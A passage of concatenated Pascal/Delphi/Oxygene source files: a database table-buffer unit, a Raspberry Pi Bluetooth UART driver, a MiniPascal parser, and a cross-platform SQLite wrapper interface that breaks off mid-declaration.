('RECID','MODCOUNT','PRIMARYPAGENAME','FILEPACKAGENAME','PARENTPAGENAME','CUSTOMERACCESSNAME' ,'LABEL1','LABEL2','LABEL3','LABEL4','HTTP' ,'COPYRIGHT','FAXNUMBER','DATACADDY','STDNTCMARGIN' ,'SITEID','NETPASSWORD','UPDATEMETHOD','LANCONNECTION','DIALUP' ,'DIALUSER','DIALPASSWORD','DEFAULTLENDEROPTS','CIFDATEOPTION','SPLASHSCREEN','DATACADDYVERSION' ,'REGEXP1','REGEXP2' ,'CORELINK','AUTOCOMPLETE','AUTODCSTART' ,'CIFADDLFIELD' ); var x : integer; begin s := uppercase(s); x := 1; while (x <= 32) and (flist[x] <> s) do inc(x); if x <= 32 then result := x else result := 0; end; function TTTSSETUPBuffer.FieldType(index:integer):TFieldType; begin result := ftUnknown; case index of 1 : result := ftAutoInc; 2 : result := ftInteger; 3 : result := ftString; 4 : result := ftString; 5 : result := ftString; 6 : result := ftString; 7 : result := ftString; 8 : result := ftString; 9 : result := ftString; 10 : result := ftString; 11 : result := ftString; 12 : result := ftString; 13 : result := ftString; 14 : result := ftBoolean; 15 : result := ftInteger; 16 : result := ftString; 17 : result := ftString; 18 : result := ftInteger; 19 : result := ftBoolean; 20 : result := ftString; 21 : result := ftString; 22 : result := ftString; 23 : result := ftString; 24 : result := ftString; 25 : result := ftBoolean; 26 : result := ftString; 27 : result := ftString; 28 : result := ftString; 29 : Result := ftBoolean; 30 : Result := ftBoolean; 31 : Result := ftString; 32 : Result := ftBoolean; end; end; function TTTSSETUPBuffer.PtrIndex(index:integer):Pointer; begin result := nil; case index of 1 : result := @Data.PRecordID; 2 : result := @Data.PModCount; 3 : result := @Data.PPrimaryPageName; 4 : result := @Data.PFilePackageName; 5 : result := @Data.PParentPageName; 6 : result := @Data.PCustomerAccessName; 7 : result := @Data.PLabel1; 8 : result := @Data.PLabel2; 9 : result := @Data.PLabel3; 10 : result := @Data.PLabel4; 11 : result := @Data.PHttp; 12 : result := @Data.PCopyright; 13 : result := @Data.PFaxNumber; 14 : result := @Data.PDataCaddy; 15 : result := @Data.PStdNtcMargin; 16 : result := @Data.PSiteID; 17 : result := @Data.PNetPassword; 18 : result := @Data.PUpdateMethod; 19 : result := @Data.PLanConnection; 20 : result := @Data.PDialup; 21 : result := @Data.PDialUser; 22 : result := @Data.PDialPassword; 23 : result := @Data.PDefaultLenderOpts; 24 : result := @Data.PCIFDateOption; 25: result := @Data.PSplashScreen; 26: result := @Data.PDataCaddyVersion; 27: Result := @Data.PRegExp1; 28: Result := @Data.PRegExp2; 29: Result := @Data.PCoreLink; 30: Result := @Data.PAutoComplete; 31: Result := @Data.PAutoDCStart; 32: Result := @Data.PCifAddlField; end; end; function TTTSSETUPTable.GetPSplashScreen: Boolean; begin result := DFSplashScreen.Value; end; procedure TTTSSETUPTable.SetPSplashScreen(const Value: Boolean); begin DfSplashScreen.Value := Value; end; function TTTSSETUPTable.GetPDataCaddyVersion: String; begin result := DFDataCaddyVersion.Value; end; procedure TTTSSETUPTable.SetPDataCaddyVersion(const Value: String); begin DFDataCaddyVersion.Value := Value; end; function TTTSSETUPTable.GetPregExp1: String; begin result := DFRegExp1.Value; end; function TTTSSETUPTable.GetPregExp2: String; begin result := DFRegExp2.Value; end; procedure TTTSSETUPTable.SetPregExp1(const Value: String); begin DFregExp1.Value := Value; end; procedure TTTSSETUPTable.SetPregExp2(const Value: String); begin DFregExp2.Value := Value; end; function TTTSSETUPTable.GetPCoreLink: Boolean; begin result := DFCoreLink.Value; end; procedure TTTSSETUPTable.SetPCoreLink(const Value: Boolean); begin DFCoreLink.Value := Value; end; function TTTSSETUPTable.GetPAutoComplete: Boolean; begin result := DFAutoComplete.Value; end; procedure TTTSSETUPTable.SetPAutoComplete(const Value: Boolean); begin DFAutoComplete.Value := Value; end; function TTTSSETUPTable.GetPAutoDCStart: String; begin result := DFAutoDCStart.Value ; end; procedure TTTSSETUPTable.SetPAutoDCStart(const Value: String); begin DFAutoDCStart.Value := Value; end; function TTTSSETUPTable.GetPCifAddlField: Boolean; begin result := DFCifAddlField.Value; end; procedure TTTSSETUPTable.SetPCifAddlField(const Value: Boolean); begin DFCifAddlField.Value := Value; end; end.
unit uBT_UART; {$mode delphi}{$H+} interface uses Classes, SysUtils, Serial, BCM2710, Devices, GlobalConst, GlobalTypes, Threads, uBT; (* Connection to BCM4343 chip UART0 115200 BAUD, 8 DATA, 1 STOP, NO PARITY, NO FLOW CONTROL PIN 15 SET TO INPUT PIN 32 SET TO ALT3 PIN 33 SET TO ALT3 *) {==============================================================================} {Global definitions} {--$INCLUDE GlobalDefines.inc} {==============================================================================} const {BT_UART logging} BT_UART_LOG_LEVEL_DEBUG = LOG_LEVEL_DEBUG; {BT_UART debugging messages} BT_UART_LOG_LEVEL_INFO = LOG_LEVEL_INFO; {BT_UART informational messages, such as a device being attached or detached} BT_UART_LOG_LEVEL_ERROR = LOG_LEVEL_ERROR; {BT_UART error messages} BT_UART_LOG_LEVEL_NONE = LOG_LEVEL_NONE; {No BT_UART messages} ny : array [boolean] of string = ('NO', 'YES'); var BT_UART_DEFAULT_LOG_LEVEL : LongWord = BT_UART_LOG_LEVEL_DEBUG; BT_UART_LOG_ENABLED : Boolean; // Report_Size : Longword = 5; const BT_UART_DRIVER_NAME = 'BT (UART) Driver'; {Name of UART BT driver} BT_UART_DESCRIPTION = 'BT (UART)'; {Description of UART BT device} HCI_COMMAND_PKT = $01; HCI_ACLDATA_PKT = $02; HCI_SCODATA_PKT = $03; HCI_EVENT_PKT = $04; HCI_VENDOR_PKT = $ff; // Markers FIRMWARE_START = 100; FIRMWARE_END = 101; DELAY_50MSEC = 102; DELAY_2SEC = 103; INIT_COMPLETE = 104; FLUSH_PORT = 105; OPEN_PORT = 106; CLOSE_PORT = 107; type TMarkerEvent = procedure (BT : PBTDevice; Code : Word); {BT_UART Device} PBT_UARTDevice = ^TBT_UARTDevice; TBT_UARTDevice = record BT : TBTDevice; // bt device workings UART : PSerialDevice; UARTName : string; ReadHandle : TThreadHandle; MarkerEvent : TMarkerEvent; RxBuffer : array of byte; EventRemaining, EventPos : LongWord; // number of bytes still remaining of event EventResponse : array of byte; end; procedure BT_UARTInit; function BTOpenPort (BT : PBT_UARTDevice) : LongWord; procedure BTClosePort (BT : PBT_UARTDevice); implementation uses Platform, GlobalConfig, FileSystem, uLog; var BT_UARTInitialized : Boolean = false; function BT_UARTDeviceCommand (BT : PBTDevice; Buffer : Pointer; Size : Longword; var Count : Longword) : LongWord; var Cmd : array of byte; BTU : PBT_UARTDevice; op : Word; begin Result := ERROR_INVALID_PARAMETER; BTU := PBT_UARTDevice (BT.Device.DeviceData); if Size < 3 then exit; SetLength (Cmd, Size + 1); Cmd[0] := HCI_COMMAND_PKT; Move (Buffer^, Cmd[1], Size); op := (Cmd[2] * $100) + Cmd[1]; if (ogf (op) = $00) and (ocf (op) <> $00) then begin Result := ERROR_SUCCESS; if Assigned (BTU.MarkerEvent) then BTU.MarkerEvent (BT, ocf (op)); case ocf (op) of DELAY_50MSEC : begin BT.QueueEvent.WaitFor (50); BT.QueueEvent.SetEvent; end; DELAY_2SEC : begin BT.QueueEvent.WaitFor (2000); BT.QueueEvent.SetEvent; end; OPEN_PORT : begin BTOpenPort (BTU); BT.QueueEvent.SetEvent; end; CLOSE_PORT : begin BTClosePort (BTU); BT.QueueEvent.SetEvent; end; else BT.QueueEvent.SetEvent; end; end else begin Result := SerialDeviceWrite (BTU.UART, @Cmd[0], length (Cmd), SERIAL_WRITE_NONE, count); if Result <> ERROR_SUCCESS then Log ('Error writing to BT.'); end; end; function BTReadExecute (Parameter : Pointer) : PtrInt; var c, count, res : LongWord; b : byte; i, j, rm : integer; decoding : boolean; pkt : array of byte; BT : PBT_UARTDevice; begin Result := ERROR_SUCCESS; c := 0; Log ('Read Execute started'); BT := PBT_UARTDevice (Parameter); while True do begin if SerialDeviceRead (BT.UART, @b, 1, SERIAL_READ_NONE, c) = ERROR_SUCCESS then begin // One byte was received, try to read everything that is available SetLength (BT.RxBuffer, length (BT.RxBuffer) + 1); BT.RxBuffer[high (BT.RxBuffer)] := b; while SerialDeviceRead (BT.UART, @b, 1, SERIAL_READ_NON_BLOCK, c) = ERROR_SUCCESS do begin SetLength (BT.RxBuffer, length (BT.RxBuffer) + 1); BT.RxBuffer[high (BT.RxBuffer)] := b; end; i := 0; decoding := true; while decoding do begin decoding := false; if (i + 2 <= high (BT.RxBuffer)) then // mimumum if i + BT.RxBuffer[i + 2] + 2 <= high (BT.RxBuffer) then begin if BT.RxBuffer[i] = HCI_EVENT_PKT then begin SetLength (pkt, BT.RxBuffer[i + 2] + 2); Move (BT.RxBuffer[i + 1], pkt[0], length (pkt)); if Assigned (BT.BT.DeviceEvent) then begin count := 0; res := BT.BT.DeviceEvent (@BT.BT, @pkt[0], length (pkt), count); if res <> ERROR_SUCCESS then begin log ('error device event ' + res.ToString); end; end; end; i := i + length (pkt) + 1; decoding := i < high (BT.RxBuffer); end; end; // decoding if i > 0 then begin rm := length (BT.RxBuffer) - i; // Log ('Remaining ' + IntToStr (rm)); if rm > 0 then // replace with move for j := 0 to rm - 1 do BT.RxBuffer[j] := BT.RxBuffer[j + i]; SetLength (BT.RxBuffer, rm); end; end; end; Log ('Read Execute terminated'); end; procedure BTAddMarker (BT : PBTDevice; Code : word); begin BTAddCommand (BT, $000, code, []); end; procedure BTLoadFirmware (BT : PBTDevice; fn : string); var hdr : array [0 .. 2] of byte; Params : array of byte; n, len : integer; Op : Word; begin // firmware file BCM43430A1.hcd under \lib\firmware // Log ('Loading Firmware file ' + fn); FWHandle := FSFileOpen (fn, fmOpenRead); if FWHandle > 0 then begin BTAddMarker (BT, FIRMWARE_START); BTAddCommand (BT, OGF_VENDOR, $2e, []); BTAddMarker (BT, DELAY_50MSEC); n := FSFileRead (FWHandle, hdr, 3); while (n = 3) do begin Op := (hdr[1] * $100) + hdr[0]; len := hdr[2]; SetLength (Params, len); n := FSFileRead (FWHandle, Params[0], len); if (len <> n) then Log ('Data mismatch.'); BTAddCommand (BT, Op, Params); n := FSFileRead (FWHandle, hdr, 3); end; FSFileClose (FWHandle); BTAddMarker (BT, FIRMWARE_END); BTAddMarker (BT, CLOSE_PORT); BTAddMarker (BT, DELAY_2SEC); BTAddMarker (BT, OPEN_PORT); end else Log ('Error loading Firmware file ' + fn); end; procedure BT_UARTInit; var BT : PBT_UARTDevice; begin if BT_UARTInitialized then Exit; BT := PBT_UARTDevice (BTDeviceCreateEx (SizeOf (TBT_UARTDevice))); if BT = nil then exit; BT.BT.Device.DeviceBus := DEVICE_BUS_SERIAL; BT.BT.Device.DeviceType := BT_TYPE_UART; // as opposed to BT_TYPE_USB or others BT.BT.Device.DeviceData := BT; BT.BT.DeviceCommand := BT_UARTDeviceCommand; BT.BT.DeviceEvent := BTDeviceEvent; BT.MarkerEvent := nil; BT.BT.Device.DeviceDescription := BT_UART_DESCRIPTION; BT.BT.BTId := DEVICE_ID_ANY; if BTDeviceRegister (@BT.BT) <> ERROR_SUCCESS then begin BTDeviceDestroy (@BT.BT); exit; end; if BTDeviceSetState (@BT.BT, BT_STATE_ATTACHED) <> ERROR_SUCCESS then exit; BT.UARTName := BCM2710_UART0_DESCRIPTION; BTOpenPort (BT); BTLoadFirmware (@BT.BT, 'BCM43430A1.hcd'); BT_UARTInitialized := True; end; function BTOpenPort (BT : PBT_UARTDevice) : LongWord; var res : LongWord; begin Result := ERROR_INVALID_PARAMETER; Log ('Opening Port ' + BT.UARTName); BT.UART := SerialDeviceFindByDescription (BT.UARTName); if BT.UART = nil then exit; //Log ('UART Found OK.'); res := SerialDeviceOpen (BT.UART, 115200, SERIAL_DATA_8BIT, SERIAL_STOP_1BIT, SERIAL_PARITY_NONE, SERIAL_FLOW_NONE, 0, 0); if res = ERROR_SUCCESS then begin Log ('UART Opened OK.'); if BT.UARTName = BCM2710_UART0_DESCRIPTION then // main uart begin // redirect serial lines to bluetooth device GPIOFunctionSelect (GPIO_PIN_15, GPIO_FUNCTION_IN); GPIOFunctionSelect (GPIO_PIN_32, GPIO_FUNCTION_ALT3); // TXD0 GPIOFunctionSelect (GPIO_PIN_33, GPIO_FUNCTION_ALT3); // RXD0 end; BT.ReadHandle := BeginThread (@BTReadExecute, BT, BT.ReadHandle, THREAD_STACK_DEFAULT_SIZE); if BT.ReadHandle = INVALID_HANDLE_VALUE then exit; end; Result := ERROR_SUCCESS; end; procedure BTClosePort (BT : PBT_UARTDevice); begin Log ('Closing UART0'); if BT.ReadHandle <> INVALID_HANDLE_VALUE then KillThread (BT.ReadHandle); BT.ReadHandle := INVALID_HANDLE_VALUE; if BT.UART <> nil then SerialDeviceClose (BT.UART); BT.UART := nil; end; initialization end.
(* MPP_SS: HDO, 2004-02-06 ------ Syntax analyzer and semantic evaluator for the MiniPascal parser. Semantic actions to be included in MPI_SS and MPC_SS. ===================================================================*) UNIT MPP_SS; INTERFACE VAR success: BOOLEAN; (*true if no syntax errros*) PROCEDURE S; (*parses whole MiniPascal program*) IMPLEMENTATION USES MP_Lex, SymTab; FUNCTION SyIsNot(expectedSy: Symbol): BOOLEAN; BEGIN success:= success AND (sy = expectedSy); SyIsNot := NOT success; END; (*SyIsNot*) PROCEDURE SemErr(msg: STRING); BEGIN WriteLn('*** Semantic error ***'); WriteLn(' ', msg); success := FALSE; end; PROCEDURE MP; FORWARD; PROCEDURE VarDecl; FORWARD; PROCEDURE StatSeq; FORWARD; PROCEDURE Stat; FORWARD; PROCEDURE Expr(var e: INTEGER); FORWARD; PROCEDURE Term(var t: INTEGER); FORWARD; PROCEDURE Fact(var f: INTEGER); FORWARD; PROCEDURE S; (*-----------------------------------------------------------------*) BEGIN WriteLn('parsing started ...'); success := TRUE; MP; IF NOT success OR SyIsNot(eofSy) THEN WriteLn('*** Error in line ', syLnr:0, ', column ', syCnr:0) ELSE WriteLn('... parsing ended successfully '); END; (*S*) PROCEDURE MP; BEGIN IF SyIsNot(programSy) THEN Exit; (* sem *) initSymbolTable; (* endsem *) NewSy; IF SyIsNot(identSy) THEN Exit; NewSy; IF SyIsNot(semicolonSy) THEN Exit; NewSy; IF sy = varSy THEN BEGIN VarDecl; IF NOT success THEN Exit; END; (*IF*) IF SyIsNot(beginSy) THEN Exit; NewSy; StatSeq; IF NOT success THEN Exit; IF SyIsNot(endSy) THEN Exit; NewSy; IF SyIsNot(periodSy) THEN Exit; NewSy; END; (*MP*) PROCEDURE VarDecl; var ok : BOOLEAN; BEGIN IF SyIsNot(varSy) THEN Exit; NewSy; IF SyIsNot(identSy) THEN Exit; (* sem *) DeclVar(identStr, ok); IF NOT ok THEN SemErr('mult. decl.'); (* endsem *) NewSy; WHILE sy = commaSy DO BEGIN NewSy; IF SyIsNot(identSy) THEN Exit; (* sem *) DeclVar(identStr, ok); IF NOT ok THEN SemErr('mult. decl.'); (* endsem *) NewSy; END; (*WHILE*) IF SyIsNot(colonSy) THEN Exit; NewSy; IF SyIsNot(integerSy) THEN Exit; NewSy; IF SyIsNot(semicolonSy) THEN Exit; NewSy; END; (*VarDecl*) PROCEDURE StatSeq; BEGIN Stat; IF NOT success THEN Exit; WHILE sy = semicolonSy DO BEGIN NewSy; Stat; IF NOT success THEN Exit; END; (*WHILE*) END; (*StatSeq*) PROCEDURE Stat; var destId : STRING; e : INTEGER; BEGIN CASE sy OF identSy: BEGIN (* sem *) destId := identStr; IF NOT IsDecl(destId) then SemErr('var. not decl.'); (* endsem *) NewSy; IF SyIsNot(assignSy) THEN Exit; NewSy; Expr(e); IF NOT success THEN Exit; (* sem *) IF IsDecl(destId) THEN SetVal(destId, e); (* endsem *) END; readSy: BEGIN NewSy; IF SyIsNot(leftParSy) THEN Exit; NewSy; IF SyIsNot(identSy) THEN Exit; (* sem *) IF NOT IsDecl(identStr) THEN SemErr('var not decl.') else begin Write(identStr, ' > '); ReadLn(e); SetVal(identStr, e); END; (* endsem *) NewSy; IF SyIsNot(rightParSy) THEN Exit; NewSy; END; writeSy: BEGIN NewSy; IF SyIsNot(leftParSy) THEN Exit; NewSy; Expr(e); IF NOT success THEN Exit; (* sem *) WriteLn(e); (* endsem *) IF SyIsNot(rightParSy) THEN Exit; NewSy; END; ELSE ; (*EPS*) END; (*CASE*) END; (*Stat*) PROCEDURE Expr(var e: INTEGER); var t: INTEGER; BEGIN Term(t); IF NOT success THEN Exit; WHILE (sy = plusSy) OR (sy = minusSy) DO BEGIN CASE sy OF plusSy: BEGIN NewSy; Term(t); IF NOT success THEN Exit; (* sem *) e := e + t; (* endsem *) END; minusSy: BEGIN NewSy; Term(t); IF NOT success THEN Exit; (* sem *) e := e - t; (* endsem *) END; END; (*CASE*) END; (*WHILE*) END; (*Expr*) PROCEDURE Term(var t: INTEGER); var f : INTEGER; BEGIN Fact(f); IF NOT success THEN Exit; WHILE (sy = timesSy) OR (sy = divSy) DO BEGIN CASE sy OF timesSy: BEGIN NewSy; Fact(f); IF NOT success THEN Exit; (* sem *) t := t * f; (* endsem*) END; divSy: BEGIN NewSy; Fact(f); IF NOT success THEN Exit; (* sem *) IF f = 0 THEN SemErr('zero division') else t := t DIV f; (* endsem *) END; END; (*CASE*) END; (*WHILE*) END; (*Term*) PROCEDURE Fact(var f: INTEGER); BEGIN CASE sy OF identSy: BEGIN (* sem *) IF NOT IsDecl(identStr) THEN SemErr('var. not decl.') ELSE GetVal(identStr, f); (* endsem *) NewSy; END; numberSy: BEGIN (* sem*) f := numberVal; (* endsem *) NewSy; END; leftParSy: BEGIN NewSy; Expr(f); IF NOT success THEN Exit; IF SyIsNot(rightParSy) THEN Exit; NewSy; END; ELSE success := FALSE; END; (*CASE*) END; (*Fact*) END. (*MPP_SS*)
namespace Sugar.Data; { On .NET this requires sqlite3.dll from the sqlite website On OSX/iOS this uses the system sqlite On Android it uses the standard Android sqlite support On Java it uses JDBC and requires https://bitbucket.org/xerial/sqlite-jdbc/ to be installed. } interface {$IFDEF PUREJAVA} uses java.sql, Sugar; {$ELSEIF COCOA} uses libsqlite3, Foundation, Sugar; {$ELSE} uses Sugar; {$ENDIF} type SQLiteConnection = public {$IFDEF PUREJAVA}interface{$ELSE}class{$ENDIF} {$IFDEF ANDROID}mapped to android.database.sqlite.SQLiteDatabase{$ENDIF} {$IFDEF PUREJAVA}mapped to java.sql.Connection{$ENDIF}{$IFDEF ECHOES}(IDisposable){$ENDIF} private {$IFDEF ECHOES or COCOA} fHandle: IntPtr; fInTrans: Boolean; method Prepare(aSQL: String; aArgs: array of Object): Int64; {$ENDIF} method get_InTransaction: Boolean; protected public constructor(aFilename: String; aReadOnly: Boolean := false; aCreateIfNeeded: Boolean := true); property InTransaction: Boolean read get_InTransaction; method BegInTransaction; method Commit; method Rollback; // insert and return the last insert id method ExecuteInsert(aSQL: String; params aArgValues: array of Object): Int64; // execute and return the number of affected rows method Execute(aSQL: String; params aArgValues: array of Object): Int64; // select method ExecuteQuery(aSQL: String; params aArgValues: array of Object): SQLiteQueryResult; method Close;{$IFDEF ECHOES}implements IDisposable.Dispose;{$ENDIF} {$IFDEF COCOA}finalizer;{$ENDIF} end; SQLiteQueryResult = public {$IFDEF JAVA}interface{$ELSE}class{$ENDIF} {$IFDEF PUREJAVA}mapped to ResultSet{$ENDIF} {$IFDEF ANDROID}mapped to android.database.Cursor{$ENDIF}{$IFDEF ECHOES}(IDisposable){$ENDIF} private {$IFDEF ECHOES or COCOA} fDB: IntPtr; fRes: IntPtr; {$IFDEF ECHOES} fNames: System.Collections.Generic.Dictionary<String, Integer>; {$ELSE} fNames: NSMutableDictionary; {$ENDIF} {$ENDIF} method get_IsNull(aIndex: Integer): Boolean; method get_ColumnCount: Integer; method get_ColumnName(aIndex: Integer): String; method get_ColumnIndex(aName: String): Integer; public {$IFDEF ECHOES or COCOA} constructor(aDB, aRes: Int64); {$ENDIF} property ColumnCount: Integer read get_ColumnCount; property ColumnName[aIndex: Integer]: String read get_ColumnName; property ColumnIndex[aName: String]: Integer read get_ColumnIndex; // starts before the first record: method MoveNext: Boolean; property IsNull[aIndex: Integer]: Boolean read get_IsNull; method GetInt(aIndex: Integer): nullable Integer; method GetInt64(aIndex: Integer): nullable Int64; method GetDouble(aIndex: Integer): nullable Double; method GetBytes(aIndex: Integer): array of {$IFDEF JAVA}SByte{$ELSE}Byte{$ENDIF}; method GetString(aIndex: Integer): String; method Close;{$IFDEF ECHOES}implements IDisposable.Dispose;{$ENDIF} {$IFDEF COCOA}finalizer;{$ENDIF} end; {$IFDEF ANDROID} SQLiteHelpers = public static class public class method ArgsToString(arr: array of Object): array of String; class method BindArgs(st: android.database.sqlite.SQLiteStatement; aArgs: array of Object); end; {$ENDIF} {$IFDEF PUREJAVA} SQLiteHelpers = public class public class method SetParameters(st: java.sql.PreparedStatement; aValues: array of Object); class method ExecuteAndGetLastInsertId(st: java.sql.PreparedStatement): Int64; end; {$ENDIF} {$IFDEF ECHOES or COCOA} SQLiteHelpers = class public {$IFDEF ECHOES} class const DLLName : String = 'sqlite3.dll'; class const SQLITE_INTEGER: Integer = 1; class const SQLITE_FLOAT: Integer = 2; class const SQLITE_BLOB: Integer = 4; class const SQLITE_NULL: Integer = 5; class const SQLITE3_TEXT: Integer = 3; /// SQLITE_OK -> 0 class const SQLITE_OK: Integer = 0; /// SQLITE_ERROR -> 1 class const SQLITE_ERROR: Integer = 1; /// SQLITE_INTERNAL -> 2 class const SQLITE_INTERNAL: Integer = 2; /// SQLITE_PERM -> 3 class const SQLITE_PERM: Integer = 3; /// SQLITE_ABORT -> 4 class const SQLITE_ABORT: Integer = 4; /// SQLITE_BUSY -> 5 class const SQLITE_BUSY: Integer = 5; /// SQLITE_LOCKED -> 6 class const SQLITE_LOCKED: Integer = 6; /// SQLITE_NOMEM -> 7 class const SQLITE_NOMEM: Integer = 7; /// SQLITE_READONLY -> 8 class const SQLITE_READONLY: Integer = 8; /// SQLITE_INTERRUPT -> 9 class const SQLITE_INTERRUPT: Integer = 9; /// SQLITE_IOERR -> 10 class const SQLITE_IOERR: Integer = 10; /// SQLITE_CORRUPT -> 11 class const SQLITE_CORRUPT: Integer = 11; /// SQLITE_NOTFOUND -> 12 class const SQLITE_NOTFOUND: Integer = 12; /// SQLITE_FULL -> 13 class const SQLITE_FULL: Integer = 13; /// SQLITE_CANTOPEN -> 14 class const SQLITE_CANTOPEN: Integer = 14; /// SQLITE_PROTOCOL -> 15 class const SQLITE_PROTOCOL: Integer = 15; /// SQLITE_EMPTY -> 16 class const SQLITE_EMPTY: Integer = 16; /// SQLITE_SCHEMA -> 17 class const SQLITE_SCHEMA: Integer = 17; /// SQLITE_TOOBIG -> 18 class const SQLITE_TOOBIG: Integer = 18; /// SQLITE_CONSTRAINT -> 19 class const SQLITE_CONSTRAINT: Integer = 19; /// SQLITE_MISMATCH -> 20 class const SQLITE_MISMATCH: Integer = 20; /// SQLITE_MISUSE -> 21 class const SQLITE_MISUSE: Integer = 21; /// SQLITE_NOLFS -> 22 class const SQLITE_NOLFS: Integer = 22; /// SQLITE_AUTH -> 23 class const SQLITE_AUTH: Integer = 23; /// SQLITE_FORMAT -> 24 class const SQLITE_FORMAT: Integer = 24; /// SQLITE_RANGE -> 25 class const SQLITE_RANGE: Integer = 25; /// SQLITE_NOTADB -> 26 class const SQLITE_NOTADB: Integer = 26; /// SQLITE_NOTICE -> 27 class const SQLITE_NOTICE: Integer = 27; /// SQLITE_WARNING -> 28 class const SQLITE_WARNING: Integer = 28; /// SQLITE_ROW -> 100 class const SQLITE_ROW: Integer = 100; /// SQLITE_DONE -> 101 class const SQLITE_DONE: Integer = 101; /// SQLITE_OPEN_READONLY -> 0x00000001 class const SQLITE_OPEN_READONLY: Integer = 1; /// SQLITE_OPEN_READWRITE -> 0x00000002 class const SQLITE_OPEN_READWRITE: Integer = 2; /// SQLITE_OPEN_CREATE -> 0x00000004 class const SQLITE_OPEN_CREATE: Integer = 4; /// SQLITE_OPEN_DELETEONCLOSE -> 0x00000008 class const SQLITE_OPEN_DELETEONCLOSE: Integer = 8; /// SQLITE_OPEN_EXCLUSIVE -> 0x00000010 class const SQLITE_OPEN_EXCLUSIVE: Integer = 16; /// SQLITE_OPEN_AUTOPROXY -> 0x00000020 class const SQLITE_OPEN_AUTOPROXY: Integer = 32; /// SQLITE_OPEN_URI -> 0x00000040 class const SQLITE_OPEN_URI: Integer = 64; /// SQLITE_OPEN_MEMORY -> 0x00000080 class const SQLITE_OPEN_MEMORY: Integer = 128; /// SQLITE_OPEN_MAIN_DB -> 0x00000100 class const SQLITE_OPEN_MAIN_DB: Integer = 256; /// SQLITE_OPEN_TEMP_DB -> 0x00000200 class const SQLITE_OPEN_TEMP_DB: Integer = 512; /// SQLITE_OPEN_TRANSIENT_DB -> 0x00000400 class const SQLITE_OPEN_TRANSIENT_DB: Integer = 1024; /// SQLITE_OPEN_MAIN_JOURNAL -> 0x00000800 class const SQLITE_OPEN_MAIN_JOURNAL: Integer = 2048; /// SQLITE_OPEN_TEMP_JOURNAL -> 0x00001000 class const SQLITE_OPEN_TEMP_JOURNAL: Integer = 4096; /// SQLITE_OPEN_SUBJOURNAL -> 0x00002000 class const SQLITE_OPEN_SUBJOURNAL: Integer = 8192; /// SQLITE_OPEN_MASTER_JOURNAL -> 0x00004000 class const SQLITE_OPEN_MASTER_JOURNAL: Integer = 16384; /// SQLITE_OPEN_NOMUTEX -> 0x00008000 class const SQLITE_OPEN_NOMUTEX: Integer = 32768; /// SQLITE_OPEN_FULLMUTEX -> 0x00010000 class const SQLITE_OPEN_FULLMUTEX: Integer = 65536; /// SQLITE_OPEN_SHAREDCACHE -> 0x00020000 class const SQLITE_OPEN_SHAREDCACHE: Integer = 131072; /// SQLITE_OPEN_PRIVATECACHE -> 0x00040000 class const SQLITE_OPEN_PRIVATECACHE: Integer = 262144; /// SQLITE_OPEN_WAL -> 0x00080000 class const SQLITE_OPEN_WAL: Integer = 524288; /// SQLITE_IOCAP_ATOMIC -> 0x00000001 [System.Runtime.InteropServices.DllImport(DLLName,CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_close_v2(handle: IntPtr); external; [System.Runtime.InteropServices.DllImport(DLLName,CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_last_insert_rowid(handle: IntPtr): Int64; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_changes(handle: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_open_v2(filename: String; var handle: IntPtr; &flags: Integer; zVfs: String): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_prepare_v2(db: IntPtr; zSql: array of Byte; nByte: Integer; var ppStmt: IntPtr; pzTail: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_count(pStmt: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_column_name16(stmt: IntPtr; N: Integer): IntPtr; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_blob(st: IntPtr; idx: Integer; data: array of Byte; len: Integer; free: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_double(st: IntPtr; idx: Integer; val: Double): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_int(st: IntPtr; idx: Integer; val: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_int64(st: IntPtr; idx: Integer; val: Int64): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_null(st: IntPtr; idx: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_bind_text16(st: IntPtr; idx: Integer; val: String; len: Integer; free: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_parameter_count(st: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method 